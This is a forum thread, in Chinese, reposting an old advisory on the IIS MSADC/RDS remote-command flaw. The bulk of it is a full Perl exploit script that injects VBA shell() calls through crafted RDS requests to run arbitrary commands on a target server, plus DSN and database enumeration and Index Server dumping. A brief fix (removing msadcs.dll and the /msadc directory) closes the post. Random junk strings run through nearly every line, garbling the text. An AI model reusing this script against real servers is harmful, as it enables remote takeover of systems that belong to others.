社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165060阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) cL}} ^  
YYwFjA@  
涉及程序: W;en7v;#I}  
Microsoft NT server -\xNuU  
PRcW}"m]Qg  
描述: %H Pwu &  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ~fbFA?g3  
^u`1W^>  
详细: '|V"!R)  
如果你没有时间读详细内容的话,就删除: ,\ [R\s  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YMx]i,u'+  
有关的安全问题就没有了。 f-&4x_5  
VgLrufJ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #lXwBfBMf  
:23w[vt=  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ".Z|zt6C  
关于利用ODBC远程漏洞的描述,请参看: aGY R:jR$  
( `T;nz  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #m [R1G#  
s>hNwb/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *\><MXx  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp g93-2k,  
;G_{$)P.o  
这里不再论述。 eK[8$1  
`5,46_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: b8Gu<Q1k  
r&6X|2@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =wbgZr^2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \2F{r<A\@  
P]w5`aBM  
"X<vgM^:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X}x"+ #\<@  
ObJgJr  
#!perl C],"va  
# =Ji+GJ <,9  
# MSADC/RDS 'usage' (aka exploit) script ;Qe-y|>  
# wj$l 093  
# by rain.forest.puppy @$o.Z;83`r  
# x UM,"+h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me otTv,T182  
# beta test and find errors! ?Vg251-H  
jNRR=0  
use Socket; use Getopt::Std; &5k$ v^W5  
getopts("e:vd:h:XR", \%args); HoE@t-S  
tbMf_-g  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 5qZebD2a  
zl8O @g  
if (!defined $args{h} && !defined $args{R}) { n$]78\C  
print qq~ 2Iv&XxSo  
Usage: msadc.pl -h <host> { -d <delay> -X -v } S~L;oX?(!  
-h <host> = host you want to scan (ip or domain) v__n>*x  
-d <seconds> = delay between calls, default 1 second iF0x>pvJ@  
-X = dump Index Server path table, if available X+6`]]  
-v = verbose gt]k#(S  
-e = external dictionary file for step 5 I?y!d G  
LdAWCBLS  
Or a -R will resume a command session :@x_& b  
 \_GG6  
~; exit;} :'hc&wk`  
">zK1t5=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Tnd)4}2 p  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2H\ }N^;f  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *GUQz  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); X8m@xFW}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (tG8HwV-  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~bC-0^/ 8|  
wAt|'wP :  
if (!defined $args{R}){ $ret = &has_msadc; YCMXF#1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G#uD CF,O  
\ B \G=Y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ui:WbH<b{  
. "cmd /c "; 7dxe03h  
$in=<STDIN>; chomp $in; ohLM9mc9  
$command="cmd /c " . $in ; ,#/%Fn%T  
ERka l7+  
if (defined $args{R}) {&load; exit;} >oD,wSYV~  
10gh4,z[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &7-ENg9 [  
&try_btcustmr; A[7\!bq5  
p"'knZ G  
print "\nStep 2: Trying to make our own DSN..."; U!y GZEU"[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; FqWW[Bgd  
./7*<W:  
print "\nStep 3: Trying known DSNs...";  m[>pv1o  
&known_dsn; s:O8dL /  
Fy6(N{hql  
print "\nStep 4: Trying known .mdbs..."; !4Oj^yy%  
&known_mdb; |!Uul0O  
x^sSAI(  
if (defined $args{e}){ eE=}^6)(*  
print "\nStep 5: Trying dictionary of DSN names..."; A r=P;6J  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ZBY*C;[)*P  
dp|VQWCq  
print "Sorry Charley...maybe next time?\n"; jV 'u*2&9  
exit; D*_Z"q_B  
xU6rZ CqE  
############################################################################## BE$Wj;Q  
S'  <X)  
sub sendraw { # ripped and modded from whisker 6P$jMjs  
sleep($delay); # it's a DoS on the server! At least on mine... uUIjntSF(  
my ($pstr)=@_; 1#w'<}h#U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  k00&+C  
die("Socket problems\n"); E[=# Rw!*  
if(connect(S,pack "SnA4x8",2,80,$target)){ {9c_T!c  
select(S); $|=1; j tH>&O  
print $pstr; my @in=<S>; N{}o*K  
select(STDOUT); close(S); [<nmJ-V  
return @in; C CDO8  
} else { die("Can't connect...\n"); }} cVYPPal  
}+/F?_I= %  
############################################################################## R9q9cB i3  
y 1I(^<qO=  
sub make_header { # make the HTTP request 8 *Y(wqH  
my $msadc=<<EOT eaWK2%v  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Z@ dS,M*  
User-Agent: ACTIVEDATA hY(q@_s  
Host: $ip #qcF2&a%  
Content-Length: $clen EYy|JT]B  
Connection: Keep-Alive }i F|NIV  
BD_"w]bqD  
ADCClientVersion:01.06 yhsbso,5 a  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 j e;^i,&  
=XhxD<kI  
--!ADM!ROX!YOUR!WORLD! .-mlV ^  
Content-Type: application/x-varg 9Od|R"aS|  
Content-Length: $reqlen qmF+@R&^i  
.L=C7w1  
EOT =7vbcAJ\  
; $msadc=~s/\n/\r\n/g; D,,$  
return $msadc;} *eEn8rAr  
B*;PF  
############################################################################## U|jip1\  
.a_xQ]eQ  
sub make_req { # make the RDS request IKFNu9*"h  
my ($switch, $p1, $p2)=@_; KB`">zq$u  
my $req=""; my $t1, $t2, $query, $dsn; 8(@ Y@`/  
'-2|GX_o  
if ($switch==1){ # this is the btcustmr.mdb query j"4]iI+{"  
$query="Select * from Customers where City=" . make_shell(); hmES@^n!_  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;kLp}CqV  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} PBY;S G ~  
SrT=XX,  
elsif ($switch==2){ # this is general make table query 6xW17P  
$query="create table AZZ (B int, C varchar(10))"; KkPr08  
$dsn="$p1";} /zTx+U.\I  
oFDJwOJ'Bj  
elsif ($switch==3){ # this is general exploit table query !4"<:tSO  
$query="select * from AZZ where C=" . make_shell(); jlM %Y ZC  
$dsn="$p1";} |Qz"Z<sNYw  
~|R/w%*C  
elsif ($switch==4){ # attempt to hork file info from index server |QO)x En~  
$query="select path from scope()"; r34 GO1d  
$dsn="Provider=MSIDXS;";} J]gtgt^   
ZK?:w^Z  
elsif ($switch==5){ # bad query ,/Yo1@U  
$query="select"; Lv<)Dur0K  
$dsn="$p1";} _n12Wx{  
FX&)~)  
$t1= make_unicode($query); p}MH LM  
$t2= make_unicode($dsn); :}+m[g  
$req = "\x02\x00\x03\x00"; fK1^fzV  
$req.= "\x08\x00" . pack ("S1", length($t1)); J?[}h&otQ  
$req.= "\x00\x00" . $t1 ; wrEYbb  
$req.= "\x08\x00" . pack ("S1", length($t2)); 2`cVi"U  
$req.= "\x00\x00" . $t2 ; W't.e0L<6  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  rT!9{uK  
return $req;} IfF&QBi  
K/D,sH!  
############################################################################## Y^ ti;:  
-FW'i10\2+  
sub make_shell { # this makes the shell() statement nOdAp4{:q%  
return "'|shell(\"$command\")|'";} vy{YGT  
x5YHmvy/l  
############################################################################## A,f%0 eQR  
n||!/u)*  
sub make_unicode { # quick little function to convert to unicode <^YZ#3~1T  
my ($in)=@_; my $out; nH(H k%~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } fudLm  
return $out;} fS- 31<?  
h@D</2>  
############################################################################## P#x]3j]  
yL%k5cO$N  
sub rdo_success { # checks for RDO return success (this is kludge) }c;h:CE#  
my (@in) = @_; my $base=content_start(@in); bl-t>aO*.V  
if($in[$base]=~/multipart\/mixed/){ ("rIz8b  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~8^)[n+)x  
return 0;} * ~4m!U_s  
-"X} )N2  
############################################################################## G8ksm2}  
2z=GKV  
sub make_dsn { # this makes a DSN for us `A o;xOJ  
my @drives=("c","d","e","f"); Zjh9jvsW  
print "\nMaking DSN: "; D $[/|%3  
foreach $drive (@drives) { kzcD}?mSS  
print "$drive: "; M"$TXXe  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ;r XhK$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %D:5 S?{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4uUR2J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .+c YzS] !  
return 0 if $2 eq "404"; # not found/doesn't exist JI}p{ yI  
if($2 eq "200") { |uE _aFQs  
foreach $line (@results) { pd{;`EW|  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} YJ{d\j  
} return 0;} (B zf~#]~  
L5*,l`lET  
############################################################################## @tLoU%  
iAlFgOk'  
sub verify_exists { r4c3t,L*$I  
my ($page)=@_; =`X ;fz  
my @results=sendraw("GET $page HTTP/1.0\n\n"); uhLg2G^h  
return $results[0];} ^JMSe-  
&xqe8!FeA  
############################################################################## : |c,.uO  
:l>T~&/98  
sub try_btcustmr { cF[[_  
my @drives=("c","d","e","f"); qpl"j-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9e Dji,  
>P=xzg79  
foreach $dir (@dirs) { TJB0O]@3  
print "$dir -> "; # fun status so you can see progress ma }Y\(38  
foreach $drive (@drives) { 2/B Flb  
print "$drive: "; # ditto ':!;6v|L  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; t@/r1u|iq  
$reqlenlen=length( "$reqlen" ); 5Wi5`8m  
$clen= 206 + $reqlenlen + $reqlen; ]~(Ipz2NP  
ZH%[wQ~4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =fHt|}.K  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cuR|cUK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &T}v1c7)  
U<r<$K  
############################################################################## P N_QK Z  
I01On>"@7  
sub odbc_error { @/JGC%!  
my (@in)=@_; my $base; DoPm{055J  
my $base = content_start(@in); AX1'.   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7Hpsmfm  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ){>;eky  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~pj9_I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; US7hKNm.  
return $in[$base+4].$in[$base+5].$in[$base+6];} _jZDSz|Yb  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Q$,8yTM  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >CPkL_@VZ=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} IHo6&  
%1HW ) 7  
############################################################################## xm YA/wt8  
cp?`\P  
sub verbose { mc(&'U8R0I  
my ($in)=@_; YQN=.Wtc  
return if !$verbose; J&a887  
print STDOUT "\n$in\n";} o D* '  
=-`+4zB\  
############################################################################## 2%W(^Lj  
s !8]CV>  
sub save { nfDPM\FFD  
my ($p1, $p2, $p3, $p4)=@_; CsSB'+&{  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4kg9R^0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; jgbw'BBu  
close OUT;} JpD YB  
5Cy)#Z{  
############################################################################## VY _(0  
hkU# lt  
sub load { Ky nZzR  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (I[o;0w  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); &7DE$ S  
@p=<IN>; close(IN); ;5Sr<W\:;  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); _-8,}F}W#s  
$target= inet_aton($ip) || die("inet_aton problems"); 82)d.>  
print "Resuming to $ip ..."; (Z,,H1L  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; F'j:\F6C;  
if($p[1]==1) { )edM@beY_  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }(tGjx]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; yJp& A  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); W: ?-d{  
if (rdo_success(@results)){print "Success!\n";} WejY b;KS  
else { print "failed\n"; verbose(odbc_error(@results));}} W&!Yprr  
elsif ($p[1]==3){ >uuX<\cW  
if(run_query("$p[3]")){ C#-x 3d-{  
print "Success!\n";} else { print "failed\n"; }} cE*|8'rSf  
elsif ($p[1]==4){ ~!A,I 9  
if(run_query($drvst . "$p[3]")){ i2j)%Gc}  
print "Success!\n"; } else { print "failed\n"; }} n)K6Z{x  
exit;} ldX]A#d.  
J)fS2Ni+  
############################################################################## D9LwYftZ  
Xj/ X.  
sub create_table { g(5s{njL  
my ($in)=@_; Oy|9po  
$reqlen=length( make_req(2,$in,"") ) - 28; e8lF$[i  
$reqlenlen=length( "$reqlen" ); Q49|,ou[H  
$clen= 206 + $reqlenlen + $reqlen; [#Yyw8V#<  
my @results=sendraw(make_header() . make_req(2,$in,"")); v l*RRoJ  
return 1 if rdo_success(@results); nlmkkTHF8  
my $temp= odbc_error(@results); verbose($temp); I'@ }Yjm|  
return 1 if $temp=~/Table 'AZZ' already exists/; @s IZ  
return 0;} *Cb(4h-  
S&=B&23T  
############################################################################## !X.N$0  
by06!-P0[  
sub known_dsn { _&z>Id`w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0"QE,pLe4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 7CIje=u.q  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Zwt!nh   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 8% |x)  
'QV 4 =h`  
foreach $dSn (@dsns) { ~0}eNz*  
print "."; '  qM3.U  
next if (!is_access("DSN=$dSn")); x9ws@=[:  
if(create_table("DSN=$dSn")){ & aLR'*]6  
print "$dSn successful\n"; v[|iuOU  
if(run_query("DSN=$dSn")){ 9]YmP8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { cQ8:;-M   
print "Something's borked. Use verbose next time\n";}}} print "\n";} y1'/@A1  
53T2w,?  
############################################################################## 2~@=ua[|=5  
sS|zz,y  
sub is_access { 4Ek< 5s[  
my ($in)=@_; YW}/C wB  
$reqlen=length( make_req(5,$in,"") ) - 28; an7N<-?  
$reqlenlen=length( "$reqlen" ); f@}(<#  
$clen= 206 + $reqlenlen + $reqlen; S; c=6@"  
my @results=sendraw(make_header() . make_req(5,$in,"")); {l6]O  
my $temp= odbc_error(@results); W[?B@sdSZ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); )5t_tPv  
return 0;} Qpc{7#bp  
~8X' p6  
############################################################################## LH_2oJ\  
CeJ|z {F\  
sub run_query {  A:!{+  
my ($in)=@_; hB.dqv]^  
$reqlen=length( make_req(3,$in,"") ) - 28; j;y|Ys)I  
$reqlenlen=length( "$reqlen" ); c1 <g!Q&E  
$clen= 206 + $reqlenlen + $reqlen; 7/1S5yUr|  
my @results=sendraw(make_header() . make_req(3,$in,"")); ?~K2&eo  
return 1 if rdo_success(@results); P:=AD W c  
my $temp= odbc_error(@results); verbose($temp); B';Ob  
return 0;} ]@P*&FRcZ  
DEs?xl]zO  
############################################################################## /{U{smtdFl  
%G@aZWk Sa  
sub known_mdb { @$*c0 . |z  
my @drives=("c","d","e","f","g"); 96.Wfx  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <#Lw.;(U;k  
my $dir, $drive, $mdb; h>/ViB@"W|  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; vuZ<'?Nm  
L~$RF {$  
# this is sparse, because I don't know of many oN$ZZk R  
my @sysmdbs=( "\\catroot\\icatalog.mdb", (NQ[AypMI  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", FX^E |  
"\\system32\\certmdb.mdb", c5;ROnTm  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 3u^TJt)  
(wfg84  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", p\WUk@4  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7S`H?},sR  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", qcot T\rq  
"\\cfusion\\cfapps\\security\\realm_.mdb", a#IJ<^[8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", kC0!`$<2f)  
"\\cfusion\\database\\cfexamples.mdb", E;4a(o]{t  
"\\cfusion\\database\\cfsnippets.mdb", _~kcr5  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", i/~J0qQ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", P Cf|^X#B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", wl%1B64  
"\\cfusion\\database\\smpolicy.mdb", LJy'wl  
"\\cfusion\\database\cypress.mdb", 54{"ni 2a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", rA`\we)  
"\\website\\cgi-win\\dbsample.mdb", ,fw[J  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", J]0#M:w&  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 0- UeFy  
); #these are just {P-PH$ E-  
foreach $drive (@drives) { a)1,/:7'  
foreach $dir (@dirs){ a}K+w7VY\  
foreach $mdb (@sysmdbs) { l)8V:MK  
print "."; -?RQ%Ue  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ #+;=ijyF  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; taQ[>x7b  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){  T_uuFL  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; O5Lv :qAa  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ; ]Aa  
YiTp-@$}  
foreach $drive (@drives) { t}7wR TG  
foreach $mdb (@mdbs) { m}9V@@  
print "."; v#|c.<].  
if(create_table($drv . $drive . $dir . $mdb)){ z aF0nov  
print "\n" . $drive . $dir . $mdb . " successful\n"; }WbN)  
if(run_query($drv . $drive . $dir . $mdb)){ 76b7-Nj"  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1Tq$E[  
} else { print "Something's borked. Use verbose next time\n"; }}}} fF("c6:w(  
} Xoy1Gi?  
~@D%qbN  
############################################################################## x]oQl^ F  
d_uy;-3  
sub hork_idx { `5Btg. &  
print "\nAttempting to dump Index Server tables...\n"; Lf#G?]@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _6!/}Fm  
$reqlen=length( make_req(4,"","") ) - 28; aS vE  
$reqlenlen=length( "$reqlen" ); (NdgF+'=  
$clen= 206 + $reqlenlen + $reqlen; kZ9< j+.  
my @results=sendraw2(make_header() . make_req(4,"","")); <6C9R>  
if (rdo_success(@results)){ j>xVy]v=|  
my $max=@results; my $c; my %d; ?+5{HFx  
for($c=19; $c<$max; $c++){ I_G>W3  
$results[$c]=~s/\x00//g; iyYY)roB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h50StZ8Yr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; nZCpT |M5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ]$*{<  
$d{"$1$2"}="";} 1H =wl =K  
foreach $c (keys %d){ print "$c\n"; } e@=[+iJc  
} else {print "Index server doesn't seem to be installed.\n"; }} 7omGg~!k(  
i4n b#  
############################################################################## Oq,.Kz  
1bg@[YN!;  
sub dsn_dict { TRLeZ0EC  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); t`T\d\  
while(<IN>){ "g%:#'5  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; |OZ>/l {  
next if (!is_access("DSN=$dSn")); xzl4v=7  
if(create_table("DSN=$dSn")){ ~'J =!Xy  
print "$dSn successful\n"; LGROEn<*d  
if(run_query("DSN=$dSn")){ P0ltN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )O@^H   
print "Something's borked. Use verbose next time\n";}}} ~f10ZB_k>'  
print "\n"; close(IN);} \'+{X(]  
o U}t'WU  
############################################################################## `qDz=,)WP  
,{?bM  
sub sendraw2 { # ripped and modded from whisker &JhIn%=-  
sleep($delay); # it's a DoS on the server! At least on mine... -ouJf}#R  
my ($pstr)=@_; kg I=0W>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @ P"`=BU&  
die("Socket problems\n"); :Q ?J}N  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5**5b9bj-9  
print "Connected. Getting data"; @MZ6E$I  
open(OUT,">raw.out"); my @in; #)mkD4  
select(S); $|=1; print $pstr; 2${,%8"0s  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} V\K m% vP  
close(OUT); select(STDOUT); close(S); return @in;  K-5"#  
} else { die("Can't connect...\n"); }} _jrA?pY  
{<}I9D5  
############################################################################## B N*,!fx  
IEoR7:  
sub content_start { # this will take in the server headers _`@Xy!Ye  
my (@in)=@_; my $c; +z(,A  
for ($c=1;$c<500;$c++) { m0A@jWgd  
if($in[$c] =~/^\x0d\x0a/){ B#GZmv1  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } !qXq y}?w  
else { return $c+1; }}} GQ-e$D@SfB  
return -1;} # it should never get here actually [> &+*c  
?X_0Iy}1  
############################################################################## )_ b@~fC  
'5xuT _  
sub funky { Ec*--]j*c  
my (@in)=@_; my $error=odbc_error(@in); $qlqW y-s  
if($error=~/ADO could not find the specified provider/){ t66f 7AR  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; oa&US_  
exit;} m>uI\OY{n  
if($error=~/A Handler is required/){ Tc3ih~LvG  
print "\nServer has custom handler filters (they most likely are patched)\n"; z<[.MH`ln  
exit;} U.pr} hq  
if($error=~/specified Handler has denied Access/){ 4-M6C 5#.  
print "\nServer has custom handler filters (they most likely are patched)\n"; W}R=  
exit;}} +wz`_i)!  
[Yx-l;78  
############################################################################## /R(U>pZ  
8 g# Y  
sub has_msadc { v[, v{5b  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); R5NRCI  
my $base=content_start(@results); 7<R6T9g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); C*{15!d:G  
return 0;} ##`;Eh0a  
U/3e,`c  
######################## nF. ;LM  
yo?g"vbE  
&Qtp"#{  
解决方案: f=_Bx2ub  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll lNh=>D Pu  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4 [5lX C  
w>z8c3Dq}  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五